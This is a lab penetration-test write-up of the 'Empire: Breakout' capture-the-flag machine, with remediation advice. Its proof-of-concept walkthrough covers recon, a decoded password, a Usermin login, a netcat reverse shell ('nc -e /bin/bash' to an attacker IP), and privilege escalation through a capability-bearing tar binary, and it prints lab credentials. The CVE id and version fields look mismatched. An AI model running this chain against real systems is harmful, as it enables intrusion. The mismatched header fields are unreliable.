|  |  |
| --- | --- |
| Describe | Vulnerability |
| Service | http,netbios-ssn |
| Port | 80,139,445,10,000,20,000 |
| Version | 2.4.51, 4, 4, 1.981, 1.830 |
| Severity | 9.0-10.0 |
| CVE id | **2024‑21626** |
| Cvss score | V3.1, v2.0, sub-attacks |
| Remedi-  ation | 1. **Avoid Explosing Sensitive Data in HTML Comments**   **Problem**: Secret credentials (encoded via brainfck) where embedded in the webpage source.  **Remediation**:   * Remove all sensitive information from public-facing HTML, including comments. * Store credentials securely (e.g., environment variable, vaults). * Conduct web content audits to ensure no hidden data leaks.  1. **Harden webmin/usermin interfaces**   **Problem:** credentials were used to log into Webmin/Usermin interface accessible on ports 10,000/20,000.  **Remediation:**   * Restrict access to administrative interfaces via firewall or VPN * Enforce strong, unique credentials and multi-factor authentication (MFA). * Keep webmin/usermin updated and apply security patches regularly.  1. **Monitor Misplaced Executables**   **Problem:** A coustom *tar* binary with privileged capabilities allowed root file extraction.  **Remediation:**   * Regulary scan for unauthorized or misplaced executables in users home dirs or shared paths. * Enforce least privileges by removing unnecessary SUID/SGID bits or linux capabilities. For example: use getcap -r / 2>/dev/null * Use host-based integrity tools (e.g., AIDE Tripwire) to detect tampered binaries.  1. **Protect Backup Files and Sensitive Directories**   **Problem:** /var/backups/.old\_pass.bak was readable via the privileged *tar* binary, containing root credentials.  **Remediation:**   * Entry or restrict access to backup files-store them securely and not world-readable. * Limit files capabilities (especially for backup tools) to prevent unauthorized access. * Regularly review permission and ownership of sensitive system directories.  1. **Enforce Defense-in-dept & Logging**  * **Network controls:** Use firewalls and access control lists (ACLs) to limit exposure of service ports. * **Auditing:** Implement proactive monitoring of login attempts, configuration changes, and unusual file access. * **Routine patching:** Keep all server and third party administration tools, fully patched. |
| P.O.C | Step 1  First I find our ip in terminal    After this, I find target ip add with netdiscover    As you see I get target ip add (192.168.1.11)  So now I find open ports in this ip add    Here I get open ports (80,139,445,10,000,20,000) so now I going to look this website  Step 2    Here I get just a apache2 debain default page    In the source code I get something interesting but its encrypted so now I decode this encryption with brainfck      Here I get something odd but its useful in future so, I save this password for now  Step 3  Now I take a look in different port    At the port no 10,000 I get login page but I don’t know the username and password so I hold it for now    At the port now 20,000 I get another login page  And after the some research I get this only so I back to my terminal and find the username and password for login page  Step 4    So here I use enum4linux command for finding username and password  enum4linux -a 192.168.1.11  enum4linux is a tool used to **gather information from Windows machines or Samba shares** using various protocols      And here I get the username cyber but still I didn’t get password so I thing the password I already before  So now I try username and password on both login page  Username:- cyber  Password:- .2uqPEfj3D<P’a-3    After trying in both port so I get the access of port 20,000    I get inbuild terminal here so I make reverse connection on my terminal for easy use and normally (it’s depend on you, you can access here also)  So here I start my listening and now I upload reverse payload on that terminal  Listening :- nc -lvnp 5430  Reverse shell payload :- nc -e /bin/bash 192.168.1.111 5430      Step 5  After this I get successfully connection on my linux terminal    And after this I spawn python for better access  And after that I use “ls -all” for geting all file directly and in one place, and this place I get my first first flag “user.txt”    Here I get my first flag so now I finding another flag or root access  After doing some info gathering I found some thing in backups file    So here I do ls -all and I get a file “.old\_pass.bak” but its inaccessible so here I find some another to access this  (it’s a root file so I am interested in this)  Step 6    So here I use getcap -r / 2>/dev/null   getcap: Shows Linux **capabilities** assigned to files (privileges without full root).   -r /: Search **recursively** starting from the **root directory**.   2>/dev/null: **Suppresses error messages** (like "Permission denied") by redirecting **stderr (file descriptor 2)** to /dev/null.  After this I use another cmd ./tar -cf crackpass.tar /var/backups/.old\_pass.bak   | **Part** | **Meaning** | | --- | --- | | ./tar | Runs the tar binary from the **current directory** (not the system one at /bin/tar) | | -c | **Create** a new archive | | -f crackpass.tar | **Use the filename** crackpass.tar for the archive | | /var/backups/.old\_pass.bak | The **target file** to include in the archive (likely a password backup file) |   And after this I use ./ -xf crackpass.tar   | **Part** | **Meaning** | | --- | --- | | ./tar | Runs the tar binary from the **current directory** (not the system one like /bin/tar) | | -x | **Extract** files from an archive | | -f  crackpass.tar | Specifies the archive file to extract |     And now ls    As you see I extract password from “.old\_pass.bak” to “crackpass.tar” so let see what inside in that file    After doing cat crackpass.tar I get the root pass “Ts&4&YurgtRX” and after doing su root I become root  So one last step left for completing the machine, finding root flag!!    And like this I get the root flag  here I completed the machine |
| reference | https://techyrick.com/empire-breakout-full-walkthrough/ |

(New passwd for cyber:- cyber@breakout

Passwd for root user :- root@breakout)

Csv:- [..\breakout.csv](../breakout.csv)